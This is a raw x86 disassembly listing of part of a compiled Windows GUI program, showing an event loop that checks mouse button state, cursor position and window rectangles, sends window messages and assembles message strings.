xor esi, esi
mov dword [esp], esi
call fcn.00539ffa
push edi
push edi
call fcn.005729f0
mov ebx, eax
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.005591ad
push ebp
push ebp
call fcn.005729f0
mov ebx, eax
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0056f6b0
push eax
push eax
add dword [0x765a20], 2
call fcn.005729c0
mov dword [esp + 4], eax
mov dword [esp], str.icef
call fcn.005728e0
test eax, eax
jne 0x50d5ed
mov dword [0x76036c], 0x1150
mov dword [0x76036c], 0x1151
mov dword [0x76036c], 0x1152
jmp 0x50d00b
mov eax, dword [0x7602c0]
mov dword [esp], eax
call fcn.00559056
push ecx
add edx, 1
jne 0x50d475
add eax, 1
jne 0x50d475
mov dword [0x76036c], 0x1139
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp], eax
call fcn.00539654
push ebx
call fcn.005729f0
mov ebx, eax
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00559220
push esi
push esi
mov eax, dword [0x7602c0]
mov dword [esp], eax
call fcn.00572a40
push edi
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x7602c0
call fcn.00572aa0
push ebp
push ebp
jmp 0x50d475
mov dword [0x76036c], 0x1140
mov dword [esp + 8], 2
mov eax, dword [0x7602c0]
mov dword [esp + 4], eax
xor ebx, ebx
mov dword [esp], ebx
call fcn.0053e1d6
sub esp, 0xc
test eax, eax
jne 0x50d927
mov dword [0x76036c], 0x114d
mov dword [0x76036c], 0x114e
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x67c1a8
call fcn.0056fd80
push ebp
push ebp
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
mov dword [esp], str._r_n
call fcn.00572a40
push ebx
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
xor esi, esi
mov dword [esp], esi
call fcn.00539ffa
push edi
push edi
call fcn.005729f0
mov ebx, eax
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0055935c
push ebp
push ebp
call fcn.00572950
mov dword [esp], str._r_n_r_n
call fcn.00572a40
push eax
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x669e3c
call fcn.0056fd80
push ecx
push ecx
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push ebx
push ebx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push esi
push esi
call fcn.00572950
call fcn.0053e835
mov ebx, eax
call fcn.00572920
call fcn.00572cb0
mov dword [esp + 8], eax
mov dword [esp], ebx
sar ebx, 0x1f
mov dword [esp + 4], ebx
call fcn.0056f490
sub esp, 0xc
call fcn.00572950
mov dword [esp], 0x67bd10
call fcn.00572a40
push edi
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push ebp
push ebp
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x6711a4
call fcn.0056fd80
push eax
push eax
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
call fcn.00572950
call fcn.0053e844
mov ebx, eax
call fcn.00572920
call fcn.00572cb0
mov dword [esp + 8], eax
mov dword [esp], ebx
sar ebx, 0x1f
mov dword [esp + 4], ebx
call fcn.0056f490
sub esp, 0xc
call fcn.00572950
mov dword [esp], 0x66d190
call fcn.00572a40
push ebx
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp], eax
call fcn.0053e853
push esi
call fcn.00572950
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
push edi
push edi
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
push ebp
push ebp
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
push edx
push edx
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
push ecx
push ecx
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x114f
jmp 0x50d53a
mov dword [0x76036c], 0x1142
xor edi, edi
mov dword [esp], edi
call fcn.0053dc5c
push ebp
mov dword [esp + 8], str.LoadSaveGadgetsStruct
mov edx, dword [0x7603cc]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0053e713
sub esp, 0xc
mov dword [0x76036c], 0x1144
xor eax, eax
mov dword [0x760040], eax
mov dword [0x76036c], 0x1146
xor eax, eax
mov dword [0x760044], eax
mov dword [0x76036c], 0x1147
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], 1
call fcn.004cff30
push eax
push eax
mov dword [0x76036c], 0x1149
mov eax, dword [0x7603cc]
mov dword [esp], eax
call fcn.005682fa
push eax
mov dword [0x76036c], 0x114a
call fcn.00572920
mov eax, dword [0x7602c0]
mov dword [esp], eax
call fcn.00572a40
push edx
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760064
call fcn.00572aa0
push ecx
push ecx
mov dword [0x76036c], 0x114b
mov dword [esp + 0xc], 0x40005
mov dword [esp + 8], 2
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp], 0x332c
call fcn.0055bcb4
sub esp, 0x10
mov dword [0x76036c], 0x114c
mov dword [esp + 0xc], 0x40006
mov dword [esp + 8], 2
xor esi, esi
mov dword [esp + 4], esi
mov dword [esp], 0x332c
call fcn.0055bcb4
sub esp, 0x10
mov dword [0x76036c], 0x114d
jmp 0x50d918
mov dword [0x76036c], 0x115c
mov dword [esp], 1
call sub.USER32.dll_GetKeyState
sub esp, 4
test ah, 0x80
je 0x50db58
mov dword [0x76036c], 0x115d
mov dword [esp], 0x76027c
call sub.USER32.dll_GetCursorPos
sub esp, 4
mov dword [0x76036c], 0x115e
mov dword [esp], 0x50
call fcn.00542728
sub esp, 4
mov dword [esp + 4], 0x760214
mov dword [esp], eax
call sub.USER32.dll_GetWindowRect
sub esp, 8
mov dword [0x76036c], 0x115f
mov eax, dword [0x76027c]
cmp eax, dword [0x760214]
jl 0x50dade
cmp eax, dword [0x76021c]
jle 0x50db3c
mov dword [0x76036c], 0x1160
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.005426db
sub esp, 4
test eax, eax
jne 0x50db78
mov dword [0x76036c], 0x1160
mov dword [0x76036c], 0x1161
call fcn.00418840
mov dword [0x76036c], 0x1162
mov eax, dword [0x7601f4]
test eax, eax
je 0x50db32
cmp word [eax], 0
jne 0x50dbc0
mov dword [0x76036c], 0x1165
mov dword [0x76036c], 0x1166
mov dword [0x76036c], 0x1167
jmp 0x50deae
mov dword [esp], 2
call sub.USER32.dll_GetKeyState
sub esp, 4
test ah, 0x80
jne 0x50da7a
jmp 0x50db46
mov dword [0x76036c], 0x1160
mov dword [esp + 4], 1
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.004ca890
sub esp, 8
mov dword [0x76036c], 0x1160
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ef0c0
sub esp, 4
jmp 0x50dafc
mov dword [0x76036c], 0x1163
mov dword [esp + 4], 0x7603dc
mov dword [esp], 0x7601f4
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x1164
call fcn.004b1b70
jmp 0x50db32
mov dword [0x76036c], 0x116c
mov dword [esp], 1
call sub.USER32.dll_GetKeyState
sub esp, 4
test ah, 0x80
je 0x50dcd0
mov dword [0x76036c], 0x116d
mov dword [esp], 0x76027c
call sub.USER32.dll_GetCursorPos
sub esp, 4
mov dword [0x76036c], 0x116e
mov dword [esp], 0x92
call fcn.00542728
sub esp, 4
mov dword [esp + 4], 0x760214
mov dword [esp], eax
call sub.USER32.dll_GetWindowRect
sub esp, 8
mov dword [0x76036c], 0x116f
mov eax, dword [0x76027c]
cmp eax, dword [0x760214]
jl 0x50dc7e
cmp eax, dword [0x76021c]
jle 0x50dcb5
mov dword [0x76036c], 0x1170
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.005426db
sub esp, 4
test eax, eax
jne 0x50dcf0
mov dword [0x76036c], 0x1170
mov dword [0x76036c], 0x1171
call fcn.00406af0
mov dword [0x76036c], 0x1172
mov dword [0x76036c], 0x1173
jmp 0x50decf
mov dword [esp], 2
call sub.USER32.dll_GetKeyState
sub esp, 4
test ah, 0x80
jne 0x50dc1a
jmp 0x50dcbf
mov dword [0x76036c], 0x1170
mov dword [esp + 4], 1
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.004ca890
sub esp, 8
mov dword [0x76036c], 0x1170
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ef0c0
sub esp, 4
jmp 0x50dc9c
mov dword [0x76036c], 0x1179
mov dword [esp], 1
call sub.USER32.dll_GetKeyState
sub esp, 4
test ah, 0x80
je 0x50dd68
mov dword [0x76036c], 0x117e
jmp 0x50defa
mov dword [0x76036c], 0x117a
mov dword [esp + 4], 0
mov dword [esp], 6
call fcn.0054294e
sub esp, 8
mov dword [0x76036c], 0x117b
mov dword [0x76036c], 0x1200dcb
mov dword [0x76036c], 0x1200dcc
mov dword [esp], 5
call fcn.005426db
sub esp, 4
test eax, eax
jne 0x50de00
mov dword [0x76036c], 0x1200dcc
mov dword [0x76036c], 0x117c
mov dword [esp + 4], 1
mov dword [esp], 3
call fcn.0054294e
sub esp, 8
mov dword [0x76036c], 0x117d
mov dword [0x760298], 0
jmp 0x50dd56
mov dword [esp + 8], 6
mov dword [esp + 4], 4
mov dword [esp], 5
call fcn.00448110
sub esp, 0xc
jmp 0x50ddc4
mov dword [0x76036c], 0x1184
call fcn.0055bc8d
mov dword [0x76036c], 0x1185
mov dword [0x76036c], 0x1185
test eax, eax
je 0x50e090
mov dword [0x76036c], 0x1187
mov dword [0x76036c], 0x1187
cmp eax, 2
je 0x50e0b0
mov dword [0x76036c], 0x1699
mov dword [0x76036c], 0x1158
mov dword [0x76036c], 0x1159
call fcn.0055a50d
test eax, eax
jne 0x50ded9
mov dword [0x76036c], 0x115a
cmp dword [0x7602b4], 1
je 0x50da58
mov dword [0x76036c], 0x1168
mov dword [0x76036c], 0x116a
cmp dword [0x760130], 1
je 0x50dbf8
mov dword [0x76036c], 0x1174
mov dword [0x76036c], 0x1175
mov dword [0x76036c], 0x1177
cmp dword [0x760298], 1
je 0x50dd38
mov dword [0x76036c], 0x117f
mov dword [0x76036c], 0x1181
call fcn.0055ae82
mov dword [0x76036c], 0x1183
mov dword [0x76036c], 0x1183
cmp eax, 0x333c
je 0x50de28
mov dword [0x76036c], 0x118e
mov dword [0x76036c], 0x118e
cmp eax, 0x201
je 0x50e120
mov dword [0x76036c], 0x11a2
mov dword [0x76036c], 0x11a2
cmp eax, 0x202
je 0x50e2c0
mov dword [0x76036c], 0x11a6
mov dword [0x76036c], 0x11a6
cmp eax, 0x3330
je 0x50e330
mov dword [0x76036c], 0x11b4
mov dword [0x76036c], 0x11b4
cmp eax, 0x3331
je 0x50e4a0
mov dword [0x76036c], 0x11be
mov dword [0x76036c], 0x11be
cmp eax, 0x3332
je 0x50e5e0
mov dword [0x76036c], 0x11e1
mov dword [0x76036c], 0x11e1
cmp eax, 0x3336
je 0x50eb90
mov dword [0x76036c], 0x11eb
mov dword [0x76036c], 0x11eb
cmp eax, 0x332d
je 0x50ec38
mov dword [0x76036c], 0x12b0
mov dword [0x76036c], 0x12b0
cmp eax, 0x332c
je 0x5103e8
mov dword [0x76036c], 0x1694
mov dword [0x76036c], 0x1694
cmp eax, 0x40016
jne 0x50de70
mov dword [0x76036c], 0x1695
mov dword [esp + 4], 2
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.004ca890
sub esp, 8
mov dword [0x76036c], 0x1696
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ef0c0
sub esp, 4
jmp 0x50de70
mov dword [0x76036c], 0x1186
mov dword [esp], 1
call fcn.005081f0
sub esp, 4
jmp 0x50de70
mov dword [0x76036c], 0x1188
mov dword [esp + 4], 1
mov dword [esp], 2
call fcn.0055a3fa
sub esp, 8
mov dword [0x76036c], 0x1189
mov dword [esp + 4], 0
mov dword [esp], 0
call fcn.0055a4e2
sub esp, 8
mov dword [0x76036c], 0x118b
mov dword [esp + 4], 0
mov eax, dword [0x75ffe8]
mov dword [esp], eax
call fcn.004ca890
sub esp, 8
jmp 0x50de70
mov dword [0x76036c], 0x118f
call fcn.0055a50d
test eax, eax
je 0x50e148
mov dword [0x76036c], 0x11a0
jmp 0x50de70
mov dword [0x76036c], 0x1190
call fcn.00549604
cmp eax, 0x8f
je 0x50e1d8
call fcn.00549604
cmp eax, 0x91
je 0x50e216
mov dword [0x76036c], 0x1194
mov dword [0x76036c], 0x1195
cmp dword [0x760068], 2
je 0x50e1ba
mov ebx, dword [0x76003c]
test ebx, ebx
jne 0x50e1ba
mov dword [0x76036c], 0x1196
mov eax, dword [0x7602b4]
or eax, dword [0x760130]
je 0x50e255
mov dword [0x76036c], 0x119d
mov dword [0x76036c], 0x119e
mov dword [0x76036c], 0x119f
jmp 0x50e133
mov dword [0x76036c], 0x1191
mov dword [esp + 0xc], 0x7602e0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x411
mov eax, dword [0x760260]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x1192
jmp 0x50e1c4
mov dword [0x76036c], 0x1193
mov dword [esp + 0xc], 0x7601c0
xor esi, esi
mov dword [esp + 8], esi
mov dword [esp + 4], 0x411
mov eax, dword [0x76033c]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x1194
jmp 0x50e1c4
mov dword [0x76036c], 0x1197
call fcn.00406c90
test eax, eax
jne 0x50e277
mov dword [0x76036c], 0x119c
jmp 0x50e1b0
mov dword [0x76036c], 0x1199
call fcn.004bd7f0
mov dword [0x76036c], 0x119a
mov eax, dword [0x760098]
mov dword [esp], eax
call fcn.00542728
push edx
xor ecx, ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x201
mov dword [esp], eax
call sub.USER32.dll_PostMessageW
sub esp, 0x10
jmp 0x50e268
mov dword [0x76036c], 0x11a3
mov dword [esp + 0xc], 0x7602e0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x411
mov eax, dword [0x760260]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
mov dword [0x76036c], 0x11a4
mov dword [esp + 0xc], 0x7601c0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x411
mov eax, dword [0x76033c]
mov dword [esp], eax
call sub.USER32.dll_SendMessageW
sub esp, 0x10
jmp 0x50de70
mov dword [0x76036c], 0x11a7
mov eax, dword [0x760104]
mov dword [esp], eax
call fcn.00539ddd
sub esp, 4
test eax, eax
jne 0x50e3f0
mov dword [0x76036c], 0x11ab
mov dword [0x76036c], 0x11ac
mov eax, dword [0x760254]
mov dword [esp + 4], eax
mov dword [esp], 0x7603dc
call fcn.005728e0
test eax, eax
je 0x50e460
mov dword [0x76036c], 0x11ae
mov dword [0x76036c], 0x11af
mov dword [0x760104], 0
mov dword [0x76036c], 0x11b0
mov dword [esp + 4], 0x7603dc
mov dword [esp], 0x760254
call fcn.00572830
sub esp, 8
mov dword [0x76036c], 0x11b1
call fcn.0042a0e0
mov dword [0x76036c], 0x11b2
mov dword [0x76024c], 0
jmp 0x50de70
mov eax, dword [0x760104]
mov dword [esp], eax
call fcn.00539cad
sub esp, 4
test eax, eax
je 0x50e352
mov dword [0x76036c], 0x11a8
mov eax, dword [0x760104]
mov dword [esp], eax
call fcn.00539e14
sub esp, 4
mov dword [0x76036c], 0x11a9
mov eax, dword [0x760104]
mov dword [esp], eax
call fcn.00539d87
sub esp, 4
mov dword [0x76036c], 0x11aa
mov dword [esp], 0xfa
call fcn.00559bdf
sub esp, 4
jmp 0x50e352
mov eax, dword [0x760254]
mov dword [esp], eax
call fcn.00559056
sub esp, 4
or edx, eax
je 0x50e383
mov dword [0x76036c], 0x11ad
mov dword [esp + 4], 2
mov eax, dword [0x760254]
mov dword [esp], eax
call fcn.0055936e
sub esp, 8
jmp 0x50e383
mov dword [0x76036c], 0x11b5
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp], eax
call fcn.00541ed1
sub esp, 4
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760200
call fcn.00572aa0
sub esp, 8
mov dword [0x76036c], 0x11b6
mov eax, dword [0x760200]
mov dword [esp + 4], eax
mov dword [esp], 0x7603dc
call fcn.005728e0
mov ebx, eax
test eax, eax
je 0x50e510
mov dword [0x76036c], 0x11bc
jmp 0x50de70
mov eax, dword [0x760200]
mov dword [esp], eax
call fcn.00559056
sub esp, 4
cmp ebx, eax
sbb ebx, edx
jge 0x50e501
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov eax, dword [0x760200]
mov dword [esp], eax
call fcn.005591ad
sub esp, 8
add dword [0x765a20], 2
call fcn.005729c0
mov dword [esp + 4], eax
mov dword [esp], str.icef
call fcn.005728e0
test eax, eax
je 0x50e501
mov dword [0x76036c], 0x11b7
cmp dword [0x7602b4], 1
je 0x50e5a5
mov dword [0x76036c], 0x11ba
mov dword [0x76036c], 0x11bb
mov eax, dword [0x760200]
mov dword [esp], eax
call fcn.004dc750
sub esp, 4
jmp 0x50e501
mov dword [0x76036c], 0x11b8
call fcn.00418840
mov dword [0x76036c], 0x11b9
mov dword [esp + 4], 0x7603dc
mov dword [esp], 0x7601f4
call fcn.00572830
push eax
push eax
jmp 0x50e57c
mov dword [0x76036c], 0x11bf
call fcn.0055bc7e
cmp dword [0x760068], eax
je 0x50e638
mov dword [0x76036c], 0x11ce
mov dword [0x76036c], 0x11cf
call fcn.00406c90
test eax, eax
jne 0x50e8e0
mov dword [0x76036c], 0x11de
mov dword [0x76036c], 0x11df
jmp 0x50de70
mov dword [0x76036c], 0x11c0
call fcn.004b6730
mov dword [0x76036c], 0x11c1
mov eax, dword [0x760050]
test eax, eax
je 0x50e7a3
mov dword [0x76036c], 0x11cb
mov dword [0x76036c], 0x11cc
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
sub esp, 8
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e9e0
call fcn.0056fd80
sub esp, 8
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
sub esp, 8
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
sub esp, 8
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
sub esp, 8
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
sub esp, 8
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
sub esp, 8
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
sub esp, 8
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x11cd
mov dword [0x76036c], 0x11ce
jmp 0x50e622
mov dword [0x76036c], 0x11c2
mov dword [esp], 0
call fcn.00559f39
sub esp, 4
sub eax, dword [0x75fffc]
mov dword [0x760238], eax
mov dword [0x76036c], 0x11c3
mov dword [esp], 0
call fcn.00559fa2
sub esp, 4
sub eax, dword [0x75fff8]
mov dword [0x760234], eax
mov dword [0x76036c], 0x11c4
mov dword [0x760088], 0
mov dword [0x76036c], 0x11c4
mov dword [0x760084], 0
mov dword [0x76036c], 0x11c5
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.00407080
sub esp, 4
mov dword [0x76036c], 0x11c6
mov eax, dword [0x760088]
add dword [0x760238], eax
mov dword [0x76036c], 0x11c7
mov eax, dword [0x760084]
add dword [0x760234], eax
mov dword [0x76036c], 0x11c8
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp], eax
call fcn.00541e39
sub esp, 4
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760110
call fcn.00572aa0
sub esp, 8
mov dword [0x76036c], 0x11c9
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [0x760234]
mov dword [esp + 8], eax
mov eax, dword [0x760238]
mov dword [esp + 4], eax
mov eax, dword [0x760110]
mov dword [esp], eax
call fcn.004c90e0
sub esp, 0x14
mov dword [0x76036c], 0x11cb
jmp 0x50e78a
mov dword [0x76036c], 0x11d0
call fcn.004bd7f0
mov dword [0x76036c], 0x11d1
call fcn.004b6730
mov dword [0x76036c], 0x11d2
mov eax, dword [0x760050]
test eax, eax
je 0x50ea50
mov dword [0x76036c], 0x11db
mov dword [0x76036c], 0x11dc
call fcn.00572920
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
sub esp, 8
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66e9e0
call fcn.0056fd80
sub esp, 8
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
sub esp, 8
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
sub esp, 8
add dword [0x765a20], 2
call fcn.00572920
call fcn.00572920
mov dword [esp + 4], str.MESSAGE
mov eax, dword [0x76039c]
mov dword [esp], eax
call fcn.0055c76e
sub esp, 8
mov ebx, eax
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x66f3e4
call fcn.0056fd80
sub esp, 8
call fcn.005729c0
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call fcn.0055c76e
sub esp, 8
mov ebx, dword [eax]
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00419a50
sub esp, 8
call fcn.005729f0
mov ebx, eax
call fcn.005729f0
mov dword [esp + 8], 0x30
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0051e693
sub esp, 0xc
call fcn.00572990
mov dword [0x76036c], 0x11dd
jmp 0x50e618
mov dword [0x76036c], 0x11d3
mov dword [esp], 0
call fcn.00559f39
sub esp, 4
sub eax, dword [0x75fffc]
mov dword [0x760238], eax
mov dword [0x76036c], 0x11d4
mov dword [esp], 0
call fcn.00559fa2
sub esp, 4
sub eax, dword [0x75fff8]
mov dword [0x760234], eax
mov dword [0x76036c], 0x11d5
mov dword [0x760088], 0
mov dword [0x76036c], 0x11d5
mov dword [0x760084], 0
mov dword [0x76036c], 0x11d6
mov eax, dword [0x760068]
mov dword [esp], eax
call fcn.00407080
sub esp, 4
mov dword [0x76036c], 0x11d7
mov eax, dword [0x760088]
add dword [0x760238], eax
mov dword [0x76036c], 0x11d8
mov eax, dword [0x760084]
add dword [0x760234], eax
mov dword [0x76036c], 0x11d9
call fcn.00572920
call fcn.00572920
call fcn.00572950
mov dword [esp], eax
call fcn.00541e39
sub esp, 4
call fcn.00572950
mov dword [esp + 4], eax
mov dword [esp], 0x760110
call fcn.00572aa0
sub esp, 8
mov dword [0x76036c], 0x11da
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [0x760234]
mov dword [esp + 8], eax
mov eax, dword [0x760238]
mov dword [esp + 4], eax
mov eax, dword [0x760110]
mov dword [esp], eax
call fcn.004c90e0
sub esp, 0x14
mov dword [0x76036c], 0x11db
jmp 0x50ea41
mov dword [0x76036c], 0x11e2
call fcn.0055c0a1
mov dword [0x76036c], 0x11e3
mov dword [0x76036c], 0x11e3
cmp eax, 4
jne 0x50de70
mov dword [0x76036c], 0x11e4
mov dword [esp + 4], 4
mov dword [esp], 0
call fcn.0055ad06
sub esp, 8
mov dword [0x76036c], 0x11e5
mov dword [esp], 3
call fcn.0053c187
sub esp, 4
test eax, eax
jne 0x50ec09
mov dword [0x76036c], 0x11e7
jmp 0x50de70
mov dword [0x76036c], 0x11e6
xor esi, esi
mov dword [esp], esi
call fcn.0055a0dd
push edi
mov dword [esp + 4], eax
mov dword [esp], 3
call fcn.0053c375
push ebp
push ebp
jmp 0x50ebfa
mov dword [0x76036c], 0x11ec
call fcn.0055bf31
mov dword [0x76036c], 0x11ed
mov dword [0x76036c], 0x11ed
cmp eax, 7
je 0x50f0d0
mov dword [0x76036c], 0x11f7
mov dword [0x76036c], 0x11f7
cmp eax, 0x2f
je 0x50f2b1
mov dword [0x76036c], 0x11fc
mov dword [0x76036c], 0x11fc
cmp eax, 8
je 0x50f2f9
mov dword [0x76036c], 0x1209
mov dword [0x76036c], 0x1209
lea edx, [eax - 0x24]
cmp edx, 8
jbe 0x50f3cb
mov dword [0x76036c], 0x120f
mov dword [0x76036c], 0x120f
cmp eax, 6
je 0x50f499
mov dword [0x76036c], 0x1211
mov dword [0x76036c], 0x1211
cmp eax, 2
je 0x50f4cb
mov dword [0x76036c], 0x1213
mov dword [0x76036c], 0x1213
cmp eax, 5
je 0x50f4fd
mov dword [0x76036c], 0x1215
mov dword [0x76036c], 0x1215
cmp eax, 3
je 0x50f52f
mov dword [0x76036c], 0x1218
mov dword [0x76036c], 0x1218
cmp eax, 1
je 0x50f561
mov dword [0x76036c], 0x121a
mov dword [0x76036c], 0x121a
cmp eax, 4
je 0x50f68e
mov dword [0x76036c], 0x121d
mov dword [0x76036c], 0x121d
cmp eax, 0x2d
je 0x50f6a2
mov dword [0x76036c], 0x1220
mov dword [0x76036c], 0x1220
cmp eax, 0x2e
je 0x50f6de
mov dword [0x76036c], 0x1223
mov dword [0x76036c], 0x1223
cmp eax, 9
je 0x50f6f2
mov dword [0x76036c], 0x1226
mov dword [0x76036c], 0x1226
cmp eax, 0xa
je 0x50f72e
mov dword [0x76036c], 0x1229
mov dword [0x76036c], 0x1229
cmp eax, 0xb
je 0x50f742
mov dword [0x76036c], 0x122c
mov dword [0x76036c], 0x122c
cmp eax, 0xc
je 0x50f756
mov dword [0x76036c], 0x122f
mov dword [0x76036c], 0x122f
cmp eax, 0xd
je 0x50f76a
mov dword [0x76036c], 0x1232
mov dword [0x76036c], 0x1232
cmp eax, 0xe
je 0x50f77e
mov dword [0x76036c], 0x123d
mov dword [0x76036c], 0x123d
cmp eax, 0xf
je 0x50f95e
mov dword [0x76036c], 0x1240
mov dword [0x76036c], 0x1240
cmp eax, 0x10
je 0x50f975
mov dword [0x76036c], 0x1243
mov dword [0x76036c], 0x1243
cmp eax, 0x11
je 0x50f98c
mov dword [0x76036c], 0x124e
mov dword [0x76036c], 0x124e
cmp eax, 0x12
je 0x50fb6c
mov dword [0x76036c], 0x1251
mov dword [0x76036c], 0x1251
cmp eax, 0x13
je 0x50fb83
mov dword [0x76036c], 0x1254
mov dword [0x76036c], 0x1254
cmp eax, 0x14
je 0x50fb9a
mov dword [0x76036c], 0x1257
mov dword [0x76036c], 0x1257
cmp eax, 0x15
je 0x50fbb1
mov dword [0x76036c], 0x125a
mov dword [0x76036c], 0x125a
cmp eax, 0x16
je 0x50fbc8
mov dword [0x76036c], 0x125d
mov dword [0x76036c], 0x125d
cmp eax, 0x17
je 0x50fbdf
mov dword [0x76036c], 0x1260
mov dword [0x76036c], 0x1260
cmp eax, 0x18
je 0x50fbf6
mov dword [0x76036c], 0x1267
mov dword [0x76036c], 0x1267
lea edx, [eax - 0x19]
cmp edx, 4
jbe 0x50fcb7
mov dword [0x76036c], 0x1279
mov dword [0x76036c], 0x1279
cmp eax, 0x1e
je 0x50fe9e
mov dword [0x76036c], 0x1280
mov dword [0x76036c], 0x1280
